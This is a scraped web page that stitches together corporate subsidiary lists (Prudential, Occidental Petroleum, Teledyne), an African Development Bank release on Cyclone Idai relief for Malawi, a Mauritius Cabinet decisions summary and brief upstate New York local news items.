LLC, TMW Realty Advisors LLC, TMW USPF Verwaltungs GmbH, TRGOAG Company Inc., The Gibraltar Life Insurance Co. Ltd., The Keynes Dynamic Beta Strategy (US) Fund GP LLC, The Prudential Assigned Settlement Services Corp., The Prudential Brazilian Capital Fund LP, The Prudential Gibraltar Financial Life Insurance Co. Ltd., The Prudential Home Mortgage Company Inc., The Prudential Insurance Company of America, The Prudential Life Insurance Company Ltd., The Prudential Real Estate Financial Services of America Inc., The WMF Group, Thurloe Commercial Guernsey Limited, Times Square Center Associates, USPF V - Verwaltungs - GmbH & Co. KG, USPF V Carry LLC, USPF V Co-Invest LLC, USPF V Investment LP, United States Property Fund VI GP S.a r.l., Vailsburg Fund LLC, Vantage Casualty Insurance Company, Wabash Avenue Holdings V LLC, Wabash Avenue Partners V L.P., Wadhwani Capital Limited, Waveland Avenue Holdings I LLC, Waveland Avenue Partners I (Ireland) L.P., Waveland Avenue Partners I (US) L.P., Wellness Services Ecossistema De Bem Estar Ltda., Wellness Services SRL, Yamato Life, and Yavapai LLC. The following companies are subsidiares of Occidental Petroleum: 1PointFive Inc., 1PointFive P1 LLC, APC Aviation Inc., APC International Holdings LLC, APC Midstream Holdings LLC, APC Venezuela Srl, ARCO Long Beach, Altura Energy, Amarok Gathering LLC, Anadarko 20-25 Company, Anadarko 20-36 Company, Anadarko 20-47 Company, Anadarko 20-48 Company, Anadarko 20-49 Company, Anadarko Algeria Block 403 c/e Company, Anadarko Algeria Block 406B Company, Anadarko Algeria Company LLC, Anadarko Algeria Oil & Gas Company, Anadarko Brazil Investment I LLC, Anadarko Brazil Investment II LLC, Anadarko Canada E&P Limited, Anadarko China Holdings 2 Company, Anadarko Colombia Company, Anadarko Consolidated Holdings LLC, Anadarko Cote d'Ivoire Block 103 Company, Anadarko Cote d'Ivoire Company, Anadarko DBMOS Operator LLC, Anadarko Development Company, Anadarko Development Holding Limited, Anadarko E&P Onshore LLC, Anadarko Egypt Holdings Company, Anadarko Energy Holding Limited, Anadarko Energy Services Company, Anadarko Exploracao e Producao de Petroleo e Gas Natural Ltda., Anadarko Finance Company, Anadarko Gabon Company, Anadarko Ghana Mahogany-1 Company, Anadarko Global Energy S.a.r.l, Anadarko Global Funding 1 Company, Anadarko Global Funding II Ltd., Anadarko Guyana Company, Anadarko Holding Company, Anadarko International Development S.a.r.l, Anadarko International Energy Company, Anadarko International O&G Company, Anadarko International Trading Corporation, Anadarko Jordan Company, Anadarko Kenya Company, Anadarko LMM S.a.r.l, Anadarko Land Corp., Anadarko Mexico B.V., Anadarko Mexico S.a.r.l, Anadarko Midkiff/Chaney Dell BR Corp., Anadarko Midkiff/Chaney Dell LLC, Anadarko Natural Gas Company LLC, Anadarko New Zealand Company, Anadarko OGC Company, Anadarko Offshore Holding Company LLC, Anadarko Offshore Well Containment Company LLC, Anadarko Oil & Gas 5 LLC, Anadarko Peru B.V., Anadarko Petroleum, Anadarko Petroleum Corporation, Anadarko Realty LLC, Anadarko Rockies LLC, Anadarko Royalty Holdings Company, Anadarko UK Corporate Limited, Anadarko US Offshore LLC, Anadarko USH1 Corporation, Anadarko Venezuela Company, Anadarko Venezuela LLC, Anadarko Venezuela Srl, Anadarko WCTP Company, Anadarko West Texas BR Corp., Anadarko West Texas LLC, Anadarko Worldwide Holdings C.V., Atlantic Rim Mexico S. de R.L. de C.V., Aventine LLC, Baseball Merger Sub 2 Inc., Bear Branch Exploration LLC, Big Island Trona Company, Bitter Creek Coal Company, Bravo Pipeline Company, Cain Chemical, Cain Chemical Inc., Carbon Finance Labs LLC, Concord Petroleum Corporation, Conn Creek Shale Company, D.S. Ventures LLC, DMM Financial LLC, Deerwood Exploration LLC, Downtown Plaza II, Elk Hills Field, FLAG Development LLC, FP Westport Commodities Limited, FP Westport GmbH, FP Westport LLC, FP Westport Limited, FP Westport Services LLC, FP Westport Trading LLC, Fosters Mill Exploration LLC, Glenn Springs Holdings Inc., Globrep Representaciones S.A., Grand Bassa Tankers Inc., Grupo OxyChem de Mexico S.A. de C.V., Headwater II LLC, Houndstooth Resources LLC, INDSPEC Chemical B.V., INDSPEC Chemical Corporation, INDSPEC Chemical Corporation, INDSPEC Chemical Export Sales LLC, INDSPEC Holding Corporation, Ingleside Cogeneration GP LLC, Ingleside Cogeneration Limited Partnership, Interore Trading Ltd., Joslyn Partnership, KERR-McGEE TT E&P LTD., KM BM-C-Seven Ltd., KM International Insurance Ltd., Kerr-McGee Corporation, Kerr-McGee Natural Gas Company Inc., Kerr-McGee Oil & Gas Onshore LP, Kerr-McGee Shared Services Company LLC, Kerr-McGee Stored Power Corporation, Kerr-McGee U.K. Energy Corporation, Kerr-McGee Worldwide Corporation, Kerr-McGee do Brasil Ltda., Kerr-McGee of Canada Northwest Ltd., Laguna Petroleum Corp., Laguna Petroleum LLC, Liwa Oil & Gas Ltd., MC2 Technologies LLC, Mariana Properties Inc., Marico Exploration Inc., Miller Springs Remediation Management Inc., Moncrief Minerals Partnership L.P., NGL Ventures LLC, Natural Gas Odorizing Inc., New OPL LLC, OEVC Energy LLC, OEVC Midstream Projects LLC, OIH LLC, OLCV CE Holdings ULC, OLCV CE US Holdings Inc., OLCV Net Power LLC, OLCV Services LLC, OOG Partner LLC, OOOI Chem Holdings LLC, OOOI Chem Sub LLC, OOOI Chemical International LLC, OOOI Chile Holder LLC, OOOI Ecuador Management LLC, OOOI Oil and Gas Sub LLC, OOOI South America Management LLC, OPM GP Inc., OPM Holdco LLC, OTCF LLC, OTH LLC, OXY CV Pipeline LLC, OXY Campus LLC, OXY Inc., OXY LPG LLC, OXY Libya E&P Area 103 BR4 B.V., OXY Libya E&P Area 35 Ltd., OXY Libya E&P Concession 103 Ltd., OXY Libya E&P EPSA 102 B.V., OXY Libya E&P EPSA 1981 Ltd., OXY Libya E&P EPSA 1985 Ltd., OXY Libya E&P NC 143 144 145 150 B.V., OXY Libya Exploration SPC, OXY Libya LLC, OXY Little Knife LLC, OXY Mexico Holdings I LLC, OXY Mexico Holdings II LLC, OXY Middle East Holdings Ltd., OXY Oil Partners Inc., OXY PBLP Manager LLC, OXY Support Services LLC, OXY Tulsa Inc., OXY USA Inc., OXY USA WTP LP, OXY VPP Investments LLC, OXY West LLC, OXY of Saudi Arabia Ltd., OXYCHEM (CANADA) INC., OXYMAR, Oakwood Exploration LLC, Occidental (Bermuda) Ltd., Occidental (East Shabwa) LLC, Occidental Advance Sale Finance Inc., Occidental Al Hosn LLC, Occidental Angola Holdings Ltd., Occidental CIS Services Inc., Occidental Canada Holdings Ltd., Occidental Chemical Asia Limited, Occidental Chemical Belgium B.V.B.A., Occidental Chemical Chile Limitada, Occidental Chemical Corporation, Occidental Chemical Export Sales LLC, Occidental Chemical Far East Limited, Occidental Chemical Holding Corporation, Occidental Chemical International LLC, Occidental Chemical Investment (Canada) 1 Inc., Occidental Chemical Receivables LLC, Occidental Chemical de Mexico S.A. de C.V., Occidental Chile Investments LLC, Occidental Chile Minority Holder LLC, Occidental Colombia (Series G) Ltd., Occidental Colombia (Series J) Ltd., Occidental Colombia (Series K) Ltd., Occidental Colombia (Series L) Ltd., Occidental Colombia (Series M) Ltd., Occidental Colombia (Series N) Ltd., Occidental Colombia (Series O) Ltd., Occidental Crude Sales Inc. (Canada), Occidental Crude Sales Inc. (International), Occidental Dolphin Holdings Ltd., Occidental Energy Marketing Inc., Occidental Energy Ventures LLC, Occidental Exploradora del Peru Ltd., Occidental Exploration and Production Company, Occidental Hafar LLC, Occidental International (Libya) Inc., Occidental International Corporation, Occidental International Exploration and Production Company, Occidental International Holdings Ltd., Occidental International Oil and Gas Ltd., Occidental International Services Inc., Occidental Joslyn GP 2 Co., Occidental LNG (Malaysia) Ltd., Occidental Latin America Holdings LLC, Occidental Libya Oil & Gas B.V., Occidental MENA Manager Ltd., Occidental Middle East Development Company, Occidental Midland Basin LLC, Occidental Mukhaizna LLC, Occidental Oil Asia Pte. Ltd., Occidental Oil Shale Inc., Occidental Oil and Gas (Oman) Ltd., Occidental Oil and Gas Corporation, Occidental Oil and Gas International Inc., Occidental Oil and Gas International LLC, Occidental Oil and Gas Pakistan LLC, Occidental Oil and Gas of Peru LLC, Occidental Oman (Block 27) Holdings Ltd., Occidental Oman Block 51 Holding Ltd., Occidental Oman Block 51 LLC, Occidental Oman Block 65 Holding Ltd., Occidental Oman Block 65 LLC, Occidental Oman Block 72 Holding Ltd., Occidental Oman Block 72 LLC, Occidental Oman Gas Company LLC, Occidental Oman Gas Holdings Ltd., Occidental Oman North Holdings Ltd., Occidental Oriente Exploration and Production Ltd., Occidental Overseas Holdings B.V., Occidental PVC LLC, Occidental Peninsula II Inc., Occidental Peninsula LLC, Occidental Permian Ltd., Occidental Permian Manager LLC, Occidental Permian Services Inc., Occidental Peruana Inc., Occidental Petrolera del Peru (Block 101) Inc., Occidental Petrolera del Peru (Block 103) Inc., Occidental Petroleum (Pakistan) Inc., Occidental Petroleum Corporation, Occidental Petroleum Corporation Political Action Committee, Occidental Petroleum de Venezuela S.A., Occidental Petroleum of Nigeria, Occidental Petroleum of Oman Ltd., Occidental Petroleum of Qatar Ltd., Occidental Power Marketing L.P., Occidental Power Services Inc., Occidental Qatar Energy Company LLC, Occidental Red Sea Development LLC, Occidental Research Corporation, Occidental Resource Recovery Systems Inc., Occidental Resources Company, Occidental Shah Gas Holdings Ltd., Occidental South America Finance LLC, Occidental Specialty Marketing Inc., Occidental Tower Corporation, Occidental Transportation Holding Corporation, Occidental West Texas Overthrust Inc., Occidental Yemen Ltd., Occidental Yemen Sabatain Inc., Occidental del Ecuador Inc., Occidental of Abu Dhabi (Bab) Ltd., Occidental of Abu Dhabi (Shah) Ltd., Occidental of Abu Dhabi Holdings Ltd., Occidental of Abu Dhabi LLC, Occidental of Abu Dhabi Ltd., Occidental of Bahrain Ltd., Occidental of Bangladesh Inc., Occidental of Colombia (Chipiron) Inc., Occidental of Colombia (Cosecha) Inc., Occidental of Colombia (Medina) Inc., Occidental of Colombia (Putumayo) Ltd., Occidental of Colombia (Teca) Ltd., Occidental of Colombia PUT-36 LLC, Occidental of Dubai Inc., Occidental of Iraq Holdings Ltd., Occidental of Iraq LLC, Occidental of Oman Inc., Occidental of Russia Ltd., Occidental of South Africa (Offshore) Inc., Occidental of Yemen (Block 75) LLC, Oceanic Marine Transport Ltd., Opcal Insurance Inc., Oryx Crude Trading & Transportation Inc., Oxy BridgeTex Limited Partnership, Oxy C & I Bulk Sales LLC, Oxy Canada Sales Inc., Oxy Carbon Solutions LLC, Oxy Carbon Storage LLC, Oxy Climate Ventures Inc., Oxy Cogeneration Holding Company LLC, Oxy Colombia Holdings LLC, Oxy Colombia TopCo Ltd., Oxy Delaware Basin LLC, Oxy Delaware Basin Plant LLC, Oxy Dolphin E&P LLC, Oxy Dolphin Pipeline LLC, Oxy Energy Canada Inc., Oxy Energy Services LLC, Oxy Expatriate Services Inc., Oxy FFT Holdings Inc., Oxy Holding Company (Pipeline) Inc., Oxy International Ventures Ltd., Oxy LPG Terminal LLC, Oxy Levelland Pipeline Company LLC, Oxy Levelland Terminal Company LLC, Oxy Low Carbon Ventures LLC, Oxy Midstream Strategic Development LLC, Oxy Oleoducto SOP LLC, Oxy Overseas Services Ltd., Oxy Permian Gathering LLC, Oxy Permian Plaza LLC, Oxy Petroleum de Mexico S. de R.L. de C.V., Oxy Renewable Energy LLC, Oxy Salt Creek Pipeline LLC, Oxy TL LLC, Oxy Taft Hub LLC, Oxy Technology Ventures Inc., Oxy Transport I Company LLC, Oxy Vinyls Canada Co., Oxy Vinyls Export Sales LLC, Oxy Vinyls LP, Oxy Westwood Corporation, Oxy Y-1 Company, OxyChem Ingleside Ethylene Holdings Inc., OxyChem do Brasil Ltda., OxyChile Investments LLC, Oxychem Shipping Ltd., Permian Basin JV Tax Matters Member LLC, Permian Basin Limited Partnership, Permian VPP Holder LP, Permian VPP Manager LLC, Phibro, Placid Oil LLC, Ramlat Oxy Ltd., Rio de Viento Inc., Rodeo Midland Basin LLC, San Patricio Pipeline LLC, Scanports Shipping LLC, SequestCo LLC, Stetson Exploration LLC, Sun Offshore Gathering Company, Swiflite Aircraft Corporation, Transok Properties LLC, Troy Potter Inc., Turavent Oil GmbH [in liquidation], Tuscaloosa Holdings Inc., UP Petroleo III Ltd., Upland Industries Corporation, Venezuela US SRL, Vintage Gas Inc., Vintage Petroleum, Vintage Petroleum Argentina Ltd., Vintage Petroleum Boliviana Ltd., Vintage Petroleum International Finance B.V., Vintage Petroleum International Holdings LLC, Vintage Petroleum International LLC, Vintage Petroleum International Ventures Inc., Vintage Petroleum Italy Inc., Vintage Petroleum South America Holdings Inc., Vintage Petroleum South America LLC, Vintage Petroleum Turkey Inc., WGR Asset Holding Company LLC, WGR Canada Inc., Wardner Ranch Inc., Western Gas Resources Inc., Western Gas Resources-Westana Inc., Western Midstream Holdings LLC, Woodlands International Insurance Ltd., and YT Ranch LLC. Malawis recovery and reconstruction plans in the aftermath of Cyclone Idai has received a boost from the African Development Bank (www.AfDB.org), which is supporting the country with an emergency relief package and measures to combat the effect of climate change in the Southern African region. Mateus Magala, the Banks Vice President for Corporate Services and Human Resources, led a delegation to Lilongwe this week, to discuss the institutions intervention plans with public and civil society officials in Malawi. Magala had meetings with government officials in Lilongwe, including Hon. Goodall E. Gondwe, Minister of Finance, Economic Planning and Development; Hon. Nicholas Dausi, Minister of Homeland Security; and Dr. Dalitso Kabambe, Governor of the Reserve Bank of Malawi. Magala conveyed Bank President Akinwumi Adesinas sympathies to Malawian President Peter Mutharika and the people of Malawi. We have come to express our support to Malawi and to partner with the Government of Malawi in its ongoing efforts to provide immediate relief and reconstruction in affected sections of the country, he said. Magala informed officials that the development finance institution had set up an Emergency Recovery Fund, which will disburse US$100 million to jumpstart reconstruction efforts in Malawi, Mozambique and Zimbabwe. The Bank is also planning to redirect funding, totaling $1.4 million, to the immediate relief effort, reallocated from savings and extensions of ongoing Bank projects in Malawis water, roads and agriculture sectors. Responding to Magala, a visibly elated Gondwe said, The African Development Bank couldnt have come at a better time, to join us in our efforts which are now focused mainly on providing humanitarian relief and reconstructionWe were looking forward to bumper harvests in Malawi this year, but we have lost our entire crop to the cyclone. The Bank has already availed $250,0000 to Malawi, from its Emergency Relief Fund, for the purchase of emergency food items to avert hunger following the loss of crops damaged by the severe floods. Gondwe acknowledged receipt of this fund during his meeting with the Bank delegation. The Banks Climate Fund will also release $150,000.00 to Malawi to enable authorities to assist communities and internally displaced persons impacted by the cyclone. The Banks long-term plans include designing and developing mechanisms for climate insurance and mitigating climate change. Close to sixty people have died, and about 1 million persons across 15 districts have been displaced by the severe floods, mostly in the south of the country, where entire villages were submerged in water. Private sector activities and operators in the land-locked nation of about 18 million people were also severely impaired by the cyclone. Now is the time to talk about long-term and permanent solutions to the problems of floods in Malawi. We need to build houses and new structures but, above all, we ought to take advantage of this calamity to accelerate our irrigation development systems, Gondwe remarked. The Bank delegation also discussed the need for long-term cooperation on economic development and resilience strategies with donors and development partners in Malawi, including the World Bank, World Food Program Malawi, and top diplomats representing the American, Chinese, Egyptian, German, Japanese, Nigerian, Norwegian and Zimbabwean governments in Malawi. Cyclone Idai hit Malawi, Mozambique and Zimbabwe in mid-March 2019. Hardest hit was Mozambique, where the cyclone killed about 600 people. More than 1,600 people were injured, according to the UNHCR, the UN refugee agency. Malawis Homeland Security Minister Dausi estimates that about $365 million will be needed immediately for the reconstruction of bridges, schools, hospitals and homes. The Banks delegation also included Patrick Zimpita, Executive Director for Malawi, Zambia and Mauritius; Heinrich Gaomab II, Executive Director for Angola, Mozambique, Namibia and Zimbabwe; Kapil Kapoor, Director General, Southern Africa Regional Development and Business Delivery Office; and Eyerusalem Fasika, Officer-In-Charge of the Banks Malawi Country Office. Partager et informez vous aussi...... 0 shares Share Tweet LinkedIn The Howard Hughes Corp. engages in the development and management of commercial, residential, and mixed-use real estate. It operates through the following segments: Operating Assets, Master Planned Communities; Seaport District; and Strategic Developments. The Operating Assets segment consists retail, office, hospitality, and multi-family properties along with other real estate investments. The Master Planned Communities segment focuses in the development and sale of land in large-scale, long-term community development projects in and around Las Vegas, Nevada; Houston, Texas; and Columbia, Maryland. The Seaport District operates an approximately 453,000 square feet of restaurant, retail, and entertainment properties situated in three primary locations in New York, New York: Pier 17, Historic Area/Uplands, and Tin Building. The Strategic Developments segment involves in the other real estate assets in the form of entitled and unentitled land and residential condominium developments. The company was founded on November 9, 2010 and is headquartered in Woodlands, TX. Read More Vanguard Extended Duration Treasury ETF's stock was trading at $163.38 on March 11th, 2020 when COVID-19 reached pandemic status according to the World Health Organization. Since then, EDV stock has decreased by 12.6% and is now trading at $142.87. View which stocks have been most impacted by COVID-19. The following companies are subsidiares of Teledyne Technologies: Alia Corporation Inc, Bolt Technology Corp, Bowtech Products, CARIS, CDL do Brasil Equipamentos e Servicos Submarinos Sociedade Empresaria Ltda., CETAC Technologies, DALSA, Demo Systems, Detcon Holdco Inc., Ensambles de Precision S.A. de C.V., Falcon Analytical, Frontline Test Equipment, GMI Group Holdings Limited, Hafmynd ehf, Hanson Research Corp, IST Oldham Instruments India Private Limited, Industrial Control Machines, Intelek, Intelek Limited, Intelek Pension Trustees Limited, Intelek Properties Limited, LeCroy (Beijing) Trading Co. Ltd., LeCroy Corporation, Lidar Aviation Services Inc., Maple Imaging LLC, Micralyne Inc, Ocean Design Ltda., Oldham Instrument (Shanghai) Co. Ltd., Oldham Simtronics SAS, Oldham-Winter GmbH, PDM Neptec, Reynolds Industries Limited, Rhombi Canada LP, Rhombi Holdings Limited, Rhombi Netherlands B.V., Rockwell Scientific Company, Simtronics AS, TDY Jersey Limited, Teledyne Advanced Pollution Instrumentation, Teledyne Australia Pty Ltd, Teledyne BlueView, Teledyne Bogatin Enterprises LLC, Teledyne Bowtech Limited, Teledyne Brown Engineering Inc., Teledyne C.M.L. Group Limited, Teledyne CARIS B.V., Teledyne CARIS Inc., Teledyne CARIS UK Ltd., Teledyne CARIS USA Inc., Teledyne CDL Inc., Teledyne CDL Limited, Teledyne Catalyst Enterprises Inc., Teledyne Computer Access Technology Corporation, Teledyne Controls LLC, Teledyne Cougar, Teledyne Czech s.r.o., Teledyne DALSA (Shanghai) Trading Co. Ltd., Teledyne DALSA Asia-Pacific Ltd., Teledyne DALSA B.V., Teledyne DALSA GmbH, Teledyne DALSA Inc., Teledyne DALSA Industrial Products Inc., Teledyne DALSA K.K., Teledyne DALSA Semiconductor Inc., Teledyne Dalsa, Teledyne Defense Electronics LLC, Teledyne Denmark A/S, Teledyne Detcon Inc., Teledyne Digital Imaging Inc., Teledyne Digital Imaging US Inc., Teledyne Energy Systems Inc., Teledyne Europe Holdings C.V., Teledyne France, Teledyne France SAS, Teledyne Gas Measurement Instruments Limited, Teledyne Gavia ehf., Teledyne Germany GmbH, Teledyne Hanson Research Inc., Teledyne ICM SA, Teledyne ICM SPRL, Teledyne Innovaciones Microelectronics S.L.U., Teledyne Instruments Inc., Teledyne Instruments Malaysia Sdn. Bhd., Teledyne Japan Corporation, Teledyne Korea Ltd., Teledyne Labtech Limited, Teledyne LeCroy AB, Teledyne LeCroy Delaware LLC, Teledyne LeCroy GmbH, Teledyne LeCroy Inc., Teledyne LeCroy India Trading Private Ltd., Teledyne LeCroy Japan Corporation, Teledyne LeCroy Korea Ltd., Teledyne LeCroy OakGate Inc., Teledyne LeCroy S.A.R.L., Teledyne LeCroy S.R.L., Teledyne LeCroy SA, Teledyne LeCroy Singapore Pte. Ltd., Teledyne Limited, Teledyne Micralyne Inc., Teledyne Monitor Labs, Teledyne Monitor Labs P.R. Inc., Teledyne Netherlands B.V., Teledyne ODI, Teledyne Optech Inc., Teledyne Paradise Datacom Limited, Teledyne RD Instruments, Teledyne RD Technologies (Shanghai) Co. Ltd., Teledyne RESON, Teledyne RESON A/S, Teledyne RESON B.V., Teledyne RESON GmbH, Teledyne RESON Holding B.V., Teledyne RESON Inc., Teledyne RESON Pte. Ltd., Teledyne RESON UK Limited, Teledyne RISI Inc., Teledyne Rad-icon Imaging Corp., Teledyne Redlake MASD LLC, Teledyne Reynolds Inc., Teledyne SG Brown Limited, Teledyne Scientific & Imaging LLC, Teledyne Scientific Imaging GmbH, Teledyne Scientific Imaging Limited, Teledyne Signal Processing Devices Sweden AB, Teledyne Singapore Private Limited, Teledyne TSS Limited, Teledyne Taiwan Company, Teledyne Technologies (Bermuda) Limited, Teledyne Technologies (Shanghai) Co. Ltd., Teledyne Technologies International Corp., Teledyne Technologies Israel Ltd., Teledyne Tekmar Company, Teledyne UK Limited, Teledyne VariSystems, Teledyne VariSystems Inc., Teledyne Wireless LLC, Teledyne e2v, Teledyne e2v (Beijing) Co. Ltd., Teledyne e2v (Overseas) Holdings Limited, Teledyne e2v Asia Pacific Limited, Teledyne e2v Limited, Teledyne e2v Semiconductors SAS, and The Oceanscience Group Ltd.. Les membres du Cabint ont pris note que le Curatelle (Amendment) Bill sera presente au Parlement, la promulgation du The Courts (Determination of Prescribed Amount) (Amendment) Regulations 2019, celui du Central Water Authority (Water Supply for Domestic Purposes) (Amendment) Regulations 2019, 1. Cabinet has taken note of the introduction of the Curatelle (Amendment) Bill into the National Assembly. The main object of the Bill is to make numerous amendments to the Curatelle Act, which dates back to 1973, with a view to making further and better provisions for the administration of vacant estates. The Bill provides, inter alia, : (a) for the approval of the Attorney-General to be sought before : (i) a claim made against a vacant estate is settled; (ii) a claim to which the Curator of Vacant Estates is a party is referred to arbitration; (b) for an increase in the fine from Rs2,000 to Rs100,000 and for an increase in the term of imprisonment from 6 months to one year, for failing to furnish a statement to the Curator of Vacant Estates within the time fixed by the Judge in Chambers; and (c) for an increase in the value of any property which the Curator of Vacant Estates is empowered to hand over on behalf of a minor or an interdicted person. 2. Cabinet has taken note that, in the light of consultations held with relevant stakeholders, the Attorney General, Minister of Justice, Human Rights and Institutional Reforms would promulgate The Courts (Determination of Prescribed Amount) (Amendment) Regulations 2019 to maintain the specificity of the Commercial Division of the Supreme Court and to allow claims for a value of not exceeding Rs2 million lodged before the Commercial Division of the Supreme Court to continue to be heard by that Division. 3. Cabinet has taken note of the promulgation of the Statutory Bodies Pension Funds (Amendment of Schedule) (No. 2) Regulations 2019 for the Chagossian Welfare Fund to be listed in the Statutory Bodies Pension Funds Act and to ensure that the officers of the Fund are covered under a pension scheme. 4. Cabinet has taken note of the promulgation of the Central Water Authority (Water Supply for Domestic Purposes) (Amendment) Regulations 2019 which will provide for domestic consumers, who have a swimming pool and consume more than 50 cubic meters of water monthly, to pay an additional amount of Rs500 monthly. The Regulations will be effective as from 8 May 2019. 5. Cabinet has agreed to the promulgation of the Environment Protection (Display of Fuel Consumption and CO2 Emission Label) Regulations 2019 which aim at providing information to car buyers on fuel consumption and CO2 emission of cars and thus allow them to make informed decisions as to the purchase of more eco-friendly and energy-saving vehicles. The Regulations will be effective as from 01 June 2019 and car dealers will be given a period of three months to fully abide by the provisions of the Regulations. The Ministry of Social Security, National Solidarity, and Environment and Sustainable Development will conduct a sensitisation campaign for the benefit of all concerned stakeholders to ensure smooth implementation of the Regulations. 6. Cabinet has taken note of the promulgation of the Dangerous Drugs (Amendment of Schedule) Regulations 2019 under section 60(2)(b) of the Dangerous Drugs Act for the listing of new psychoactive substances recommended by the World Health Organization. 7. Cabinet has taken note that the IMF Executive Board concluded the 2019 Article IV Consultation with Mauritius at its meeting held on 22 April 2019. The IMF Executive Board of Directors congratulated the Prime Minister for the solid macroeconomic performance and also for his continued effort to address structural bottlenecks. The IMF welcomed Mauritius steady economic growth momentum and appreciated Governments efforts to bolster competitiveness by introducing effective and efficient initiatives to improve the business climate, build innovation capacity, reduce the skills mismatch and increase female workforce participation. The IMF has also pointed out the significant progress made by Mauritius to strengthen the Anti-Money Laundering and Combating the Financing of Terrorism (AML/CFT) Framework and, as a result, Mauritius has recently been upgraded by the Eastern and Southern African Anti Money Laundering Group (ESAAMLG) on 12 recommendations. 8. Cabinet has agreed to the implementation of the National Maritime Security Strategy with a new governance structure that aims at improving maritime security sector and in particular to protect against threats such as illegal, unregulated and unreported fishing, piracy and drugs and arms smuggling. In the light of consultations, a new governance structure, has been proposed with a National Crisis Management Committee, chaired by the Prime Minister, as the apex body. This Committee will give priority directives to a National Maritime and Harbour Security Committee (NMHSC), a Standing Committee chaired by the Secretary to Cabinet and Head of the Civil Service. The NMHSC will be responsible to take stock of all major programmes and measures undertaken by the following committees on Maritime and Harbour Security : (a) a Maritime Security Steering Committee, chaired by the Permanent Secretary of the Ministry of Defence and Rodrigues; (b) a Port Security Committee, chaired by the Director General of the Mauritius Ports Authority; and (c) a Maritime Search and Rescue Standing Committee, to be chaired by the Permanent Secretary of the Ministry of Ocean Economy, Marine Resources, Fisheries and Shipping. 9. Cabinet has taken note that the Ministry of Foreign Affairs, Regional Integration and International Trade would enlist the consultancy services of the E-Governance Academy of Estonia for establishing a Technical Proposal to Develop an Electronic Document Management System and Business Communication System at that Ministry. 10. Cabinet has taken note of the latest situation with regard to the incidence of Fall Army Worm (FAW) in Rodrigues following the visit of a scientific team from Mauritius and of the measures put in place for the effective control of the population of the FAW. A Crisis Committee, under the chairmanship of the Commissioner for Agriculture, and comprising several stakeholders including the Mauritius Revenue Authority, Mauritius Ports Authority, Police de LEnvironnement, Airport Operation of Rodrigues, Air Mauritius and the Police has been set up to monitor the situation closely. 11. Cabinet has taken note of the holding of the Capacity Building Workshop on Early Childhood Leadership by the Inter Country Quality Node for Early Childhood Development (ICQN-ECD) in Mauritius from 19 to 21 June 2019. The objectives of the Workshop are to : (a) share country experiences of current status of Early Childhood Education and Development (ECED) workforce and showcasing innovations; (b) engage in policy implementation issues relating to needs and priorities in the delivery of an integrated package of ECED services; (c) support policy implementation at national level for early learning; and (d) contribute towards the development of an on-line ECD leadership programme for sustainable capacity building. The Workshop targets 13 countries in Africa, civil society actors, ECD professionals, academics, Regional Economic Communities and organisations engaged in the Early Childhood Education and Development with 30 international and 15 local participants. 12. Cabinet has taken note of the organisation of a Regional Trade Policy course by the World Trade Organisation, in collaboration with the University of Mauritius. The course aims at enhancing the human and institutional capacity of WTO members through a greater exposure to the rules of the multilateral body, deepening the participants understanding of the functioning of the WTO and its rules and procedures, enhancing the participants understanding of regional economic perspectives on trade policy and development and developing their capacity to find relevant information and documents on WTO-related issues, including the use of the WTO legal texts. Some 27 participants from African countries as well as local participants are expected to participate in the Trade Policy Course. 13. Cabinet has taken note of the organisation of the Second Edition of the International Conference on Global Trends in Management, Information Technology and Governance in an e-World by the Open University of Mauritius, in collaboration with the University of Kwazulu-Natal from South Africa on 14 and 15 May 2019 in Mauritius. The main objective of this Conference is to bring together participants from a wide range of disciplines to showcase global trends in such domains as Management, IT, Governance, Law and Education. The Conference will serve as a platform for the development of leadership and capacity in the African region. Some 120 academics and researchers, are expected to attend the Conference. 14. Cabinet has taken note that the World Health Organization (WHO) Regional Office for Africa will hold a Regional Coordination Meeting of the Tobacco Control Partners in Mauritius, from 25 to 28 June 2019. The main objective of the Partners Meeting is to review the progress made and challenges in the implementation of the grants from the Bill and Melinda Gates Foundation allocated to grantees, namely, the African Capacity Building Foundation, Campaign for Tobacco Free Kids, Tax Justice Network Africa and WHO AFRO and WHO Headquarters. 15. Cabinet has taken note that the Ministry of Agro-Industry and Food Security will host the 5th Joint Coordination Committee Meeting for the Southern African Development Country Project on Forest Conservation and Sustainable Management from 14 to 17 May 2019. The project is governed by three entities, namely the Joint Coordination Committee, the thematic expert working groups and the Project Management Unit. The objective of the meeting is to develop the capacity of the SADC Member States and the Secretariat in Forest Assessments and Information Management, Participatory Forest Management and Trans-boundary Forest Fire Management. 16. Cabinet has taken note of the remedial actions taken by the Wastewater Management Authority (WMA), following the sewerage overflow at Jawaharlal Nehru Street, St Paul. The WMA has already initiated action to upgrade the sewer network in the region. 17. Cabinet has taken note of the outcome of the recent mission of the Minister of Business, Enterprise and Cooperatives to Bahrain where he participated in the Global Entrepreneurship Congress (GEC) which, inter alia, provides an ideal platform for decision makers, entrepreneurs, investors, researchers as well as economic, financial and educational entities from government and private sectors for effective communication, knowledge sharing and skills improvement. The Minister of Business, Enterprise and Cooperatives also had meetings, among others, with : (a) Mr Safa Sharif A. Khaliq, Director, Investment Department of Tamkeen, to promote business and SME related activities by the Government of Bahrain and agreed to have a Memorandum of Understanding between the two entities; and (b) HE Redzuan Yusof, Minister of Entrepreneur Development of Malaysia and agreed that the Malaysian side will provide technical assistance and training for entrepreneurship development in Mauritius. 18. Cabinet has taken note of the constitution of the Board of the Quality Assurance Authority with Dr Mitrasen Bhikajee as Chairperson. Partager et informez vous aussi...... 0 shares Share Tweet LinkedIn LEE, N.Y. -- The Oneida County District Attorney's office is waiting on toxicology results on the man who was killed by a state trooper in the town of Lee. The shooting happened last week on Golly Road. Trooper Robert Annarino was responding to what was called in as a drug overdose, when the patient allegedly lunged at him with a knife. State police say Annarino fired several shots killing Tyler Johnson. The New York State Attorney General's Office determined they don't have jurisdiction in the case. The DAs office is leading the investigation. NEW YORK MILLS, N.Y. - Retired Utica Fire Chief, Russ Brooks, was honored at Engine 11's 88th annual dinner Thursday evening at Twin Ponds in New York Mills. Chief Brooks was honored for his 43 years of service to the city of Utica. He was also the guest speaker at Thursday's dinner and he reflected on his time with the Utica Fire Department. "The highlight of my career was going to ground zero on September 11 and assisting New York City fire fighters with a team of Utica fire fighters," Brooks said. "I thought that I had seen and experienced everything that I could possibly experience, and we got to ground zero, that was surreal." Also at tonight's dinner, Lt. William Scherer was honored as this year's Fire Fighter of the year. Scherer joined the department in 2009. Utica Fire Chief, Scott Ingersoll, spoke about Scherer, calling him an "outstanding firefighter." Scherer said recieving the award was humbling. Engine 11 also recognized it's new officers for the 2019-2020 year. Monday April 29, 2019 